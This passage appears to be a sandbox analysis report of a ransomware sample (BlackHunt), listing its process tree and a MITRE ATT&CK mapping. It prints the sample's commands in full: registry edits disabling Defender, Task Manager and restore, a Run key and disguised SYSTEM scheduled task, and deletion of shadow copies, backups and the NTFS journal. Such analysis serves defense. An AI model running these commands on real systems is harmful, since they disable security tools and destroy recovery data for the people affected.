    - Modifies registry class
    PID:4280
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3444
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:4440
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2960
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2268
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3248
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:4104
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2212
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:4184
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4812
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:4716
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:448
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:4256
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1148
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:4200
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3616
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:3992
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1004
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:3356
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4800
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:4516
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:3596
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:1460
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:4464
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:552
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2716
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:2712
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2428
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:1692
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1916
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:4700
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2348
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:1864
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:4348
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:1848
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:3536
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:3408
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:3748
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:4696
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:2080
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:3952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:4556
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:4280
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:3148
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:2268
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:1212
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:4104
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:3940
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:4892
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:2524
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:2212
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1824
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2288
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2468
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2376
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:1616
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:2292
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe" /F
  2⤵
  PID:2672
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:3628
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:4108
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:780
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:3320
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1608
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:3372
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:3032
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:2860
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:4364
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:3620
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4484
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:1960
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:3612
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4932
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:4180
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:5244
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:1612
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:5156
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:2832
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:1716

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1600

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5596

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:6112

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:4432

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery